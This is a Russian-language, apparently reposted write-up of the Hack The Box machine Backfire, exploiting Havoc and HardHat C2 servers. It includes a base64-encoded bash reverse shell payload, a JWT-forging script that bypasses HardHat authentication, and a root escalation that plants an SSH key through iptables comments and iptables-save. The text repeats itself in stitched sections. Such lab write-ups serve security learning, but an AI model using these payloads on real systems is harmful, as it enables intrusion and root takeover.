stihl не предоставил(а) никакой дополнительной информации.
В этой статье я покажу, как уязвимости в C2-фреймворках Havoc и HardHat могут привести к компрометации хоста, на котором они развернуты. Для дальнейшего повышения привилегий мы используем способ перезаписи файлов командой sudo iptables.
Наша цель — получение прав суперпользователя на машине Backfire с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
Содержимое корневого каталога на порте 8000
Содержимое файла havoc.yaotl
В репозитории Для просмотра ссылки Войдиили Зарегистрируйся содержатся эксплоиты для некоторых C2-фреймворков, а подробное описание есть в Для просмотра ссылки Войди или Зарегистрируйся. Среди перечисленных фреймворков есть и используемый на сервере Havoc.
Содержимое репозитория
Эксплоит из репозитория позволяет получить RCE за счет уязвимости OS Command Injection в генераторе агента. Команда для сборки агента передается в командную оболочку /bin/sh на сервере Havoc, а имя службы задается через переменную окружения. Таким образом, если использовать нагрузку с реверс‑шеллом в качестве имени службы, можно получить возможность выполнить реверс‑шелл в командной строке.
Однако подключиться к C2 не выйдет, так как порт 40056 прослушивается только для адреса 127.0.0.1. При этом в патче подключение с использованием SSL заменяется обычным незащищенным соединением.
Содержимое файла disable_tls.patch
Однако в фреймворке есть еще одна уязвимость — SSRF, через которую мы можем достучаться до сервера C2 и проэксплуатировать RCE. Подробный анализ уязвимости SSRF можно посмотреть в Для просмотра ссылки Войдиили Зарегистрируйся из блога chebuya. Мы же будем использовать уже готовый Для просмотра ссылки Войди или Зарегистрируйся.
В коде эксплоита заменим значение переменной cmd реверс‑шеллом, который сгенерируем на сайте Для просмотра ссылки Войдиили Зарегистрируйся.
Исходный код эксплоита
Сгенерированный реверс‑шелл
Для работы скрипта доставим необходимые зависимости.
Для ожидания соединения с реверс‑шеллом запустим листенер pwncat-cs -lp 4321. Когда все готово, запускаем эксплоит.
python3 CVE-2024-41570.py -t Для просмотра ссылки Войдиили Зарегистрируйся -i 127.0.0.1 -p 40056 -U 'ilya' -P 'CobaltStr1keSuckz!'
Результат работы эксплоита
Эксплоит автоматически достучался до сервера Havoc через SSRF, создал листенер, а потом сгенерировал агент для получения RCE.
Сессия пользователя ilya
Сессия быстро умирает, поэтому для закрепления на хосте сгенерируем пару ключей командой ssh-keygen и сохраним публичный ключ на сервере.
Авторизуемся по SSH с приватным ключом и забираем пользовательский флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт, дадим право на выполнение и запустим сканирование. Затем разберемся в том, что оно нам дало.
На рабочем столе есть какой‑то файл hardhat.txt.
Содержимое файла hardhat.txt
От имени пользователя sergej запущены сервер и клиент C2-фреймворка Для просмотра ссылки Войдиили Зарегистрируйся.
Дерево процессов
Среди активных портов есть типичные для HardHat 5000 и 7096.
Прослушиваемые порты
Поищем, нет ли и в этом фреймворке известных уязвимостей.
Поиск эксплоитов в Google
Через Google выходим на статью «Для просмотра ссылки Войдиили Зарегистрируйся», в которой описаны уязвимости обхода авторизации и последующая эксплуатация RCE в HardHat. Чтобы получить доступ к серверу HardHat, нужно прокинуть порты 5000 и 7096.
В результате весь трафик, который мы пошлем на локальные порты 5000 и 7096, будет туннелирован на соответствующие порты указанного хоста (в данном случае 127.0.0.1) через SSH-хост.
Страница авторизации HardHat C2
В конце статьи был эксплоит, установим свои переменные rhost и burp0_json. Затем установим pyjwt и выполним код для создания своего пользователя.
Эксплуатация уязвимости обхода авторизации
Теперь можно авторизоваться от имени созданного пользователя.
Главная панель HardHat
C2
Теперь переходим к пункту меню ImplantInteract → Terminal и выполняем команду id.
Результат выполнения команды id
Записываем пользователю sergej свой ключ SSH и авторизуемся по SSH.
Сессия пользователя sergej
Настройки sudoers
Наш пользователь может запустить команды /usr/sbin/iptables и /usr/sbin/iptables-save от имени рута. В базе GTFOBins по iptables ничего нет, попробуем поискать какие‑нибудь уязвимости в блогах.
Поиск путей LPE в Google
По первой же Для просмотра ссылки Войдиили Зарегистрируйся находим нужную нам информацию. В iptables правилам можно добавить комментарии, которые поддерживают символы перевода строк. При этом команда iptables-save может сохранить все текущие правила в произвольный файл.
Таким образом, используя функцию комментариев с переводом строк, мы можем создать такое правило, которое в новой строке будет содержать публичный SSH-ключ.
Правила iptables
А теперь сохраним все правила в файл /root/.ssh/authorized_keys.
При авторизации по SSH с приватным ключом он будет соотнесен с записанным ранее публичным, и мы получим доступ от имени пользователя root.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Backfire с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.49 backfire.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел три открытых порта:
- 22 — служба OpenSSH 9.2p1;
- порты 443 и 8000 — веб‑сервер Nginx 1.22.1.

Точка входа
В корневом каталоге два файла: какой‑то патч disable_tls.patch и файл профиля для C2-фреймворка Havoc havoc.yaotl. В файле профиля содержатся учетные данные для подключения к серверу C2.
Справка: C2-фреймворк
C2-фреймворк (Command and Control, также С&C) — это программная платформа, которая используется для удаленного управления зараженными устройствами в инфраструктуре атакующего. Такие фреймворки обеспечивают каналы связи между оператором и скомпрометированными машинами, позволяя выполнять команды, загружать и скачивать файлы, собирать данные и управлять вредоносной активностью. Они широко применяются при тестировании на проникновение, кибершпионаже и атаках типа APT, предоставляя гибкий и часто модульный интерфейс для скрытого контроля над целевыми системами.В репозитории Для просмотра ссылки Войди

Эксплоит из репозитория позволяет получить RCE за счет уязвимости OS Command Injection в генераторе агента. Команда для сборки агента передается в командную оболочку /bin/sh на сервере Havoc, а имя службы задается через переменную окружения. Таким образом, если использовать нагрузку с реверс‑шеллом в качестве имени службы, можно получить возможность выполнить реверс‑шелл в командной строке.
Однако подключиться к C2 не выйдет, так как порт 40056 прослушивается только для адреса 127.0.0.1. При этом в патче подключение с использованием SSL заменяется обычным незащищенным соединением.

Однако в фреймворке есть еще одна уязвимость — SSRF, через которую мы можем достучаться до сервера C2 и проэксплуатировать RCE. Подробный анализ уязвимости SSRF можно посмотреть в Для просмотра ссылки Войди
В коде эксплоита заменим значение переменной cmd реверс‑шеллом, который сгенерируем на сайте Для просмотра ссылки Войди
cmd = "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42NS80MzIxIDA+JjE= | base64 -d | bash"


Для работы скрипта доставим необходимые зависимости.
Код:
python3 -m venv venv
source venv/bin/activate
pip install websocket-client requests pycryptodome
python3 CVE-2024-41570.py -t Для просмотра ссылки Войди

Эксплоит автоматически достучался до сервера Havoc через SSRF, создал листенер, а потом сгенерировал агент для получения RCE.

Сессия быстро умирает, поэтому для закрепления на хосте сгенерируем пару ключей командой ssh-keygen и сохраним публичный ключ на сервере.
echo 'ssh-ed25519 AAAA.....urp hacker' > ~/.ssh/authorized_keys
Авторизуемся по SSH с приватным ключом и забираем пользовательский флаг.

Продвижение
Теперь нам необходимо собрать информацию, которая поможет повысить права. Для этого нужно проверить многие места в Linux, для чего я по традиции буду использовать скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт, дадим право на выполнение и запустим сканирование. Затем разберемся в том, что оно нам дало.
На рабочем столе есть какой‑то файл hardhat.txt.

От имени пользователя sergej запущены сервер и клиент C2-фреймворка Для просмотра ссылки Войди

Среди активных портов есть типичные для HardHat 5000 и 7096.

Поищем, нет ли и в этом фреймворке известных уязвимостей.

Через Google выходим на статью «Для просмотра ссылки Войди
ssh -i id_rsa [EMAIL]ilya@10.10.11.49[/EMAIL] -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000
В результате весь трафик, который мы пошлем на локальные порты 5000 и 7096, будет туннелирован на соответствующие порты указанного хоста (в данном случае 127.0.0.1) через SSH-хост.

В конце статьи был эксплоит, установим свои переменные rhost и burp0_json. Затем установим pyjwt и выполним код для создания своего пользователя.
Код:
pip install pyjwt
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "ralf"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

Теперь можно авторизоваться от имени созданного пользователя.

C2
Теперь переходим к пункту меню ImplantInteract → Terminal и выполняем команду id.

Записываем пользователю sergej свой ключ SSH и авторизуемся по SSH.

Локальное повышение привилегий
Разведку на хосте уже проводили, и со сменой пользователя в Linux мало что меняется. Но все же некоторые места нужно проверить заново. Одно из таких мест — настройки sudoers.sudo -l

Наш пользователь может запустить команды /usr/sbin/iptables и /usr/sbin/iptables-save от имени рута. В базе GTFOBins по iptables ничего нет, попробуем поискать какие‑нибудь уязвимости в блогах.

По первой же Для просмотра ссылки Войди
Таким образом, используя функцию комментариев с переводом строк, мы можем создать такое правило, которое в новой строке будет содержать публичный SSH-ключ.
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4Ut1gVY7GnFY8dsp4ueaFVORzW7zyPqWoa/pydVurp X1\n'

А теперь сохраним все правила в файл /root/.ssh/authorized_keys.
sudo iptables-save -f /root/.ssh/authorized_keys
При авторизации по SSH с приватным ключом он будет соотнесен с записанным ранее публичным, и мы получим доступ от имени пользователя root.

Машина захвачена!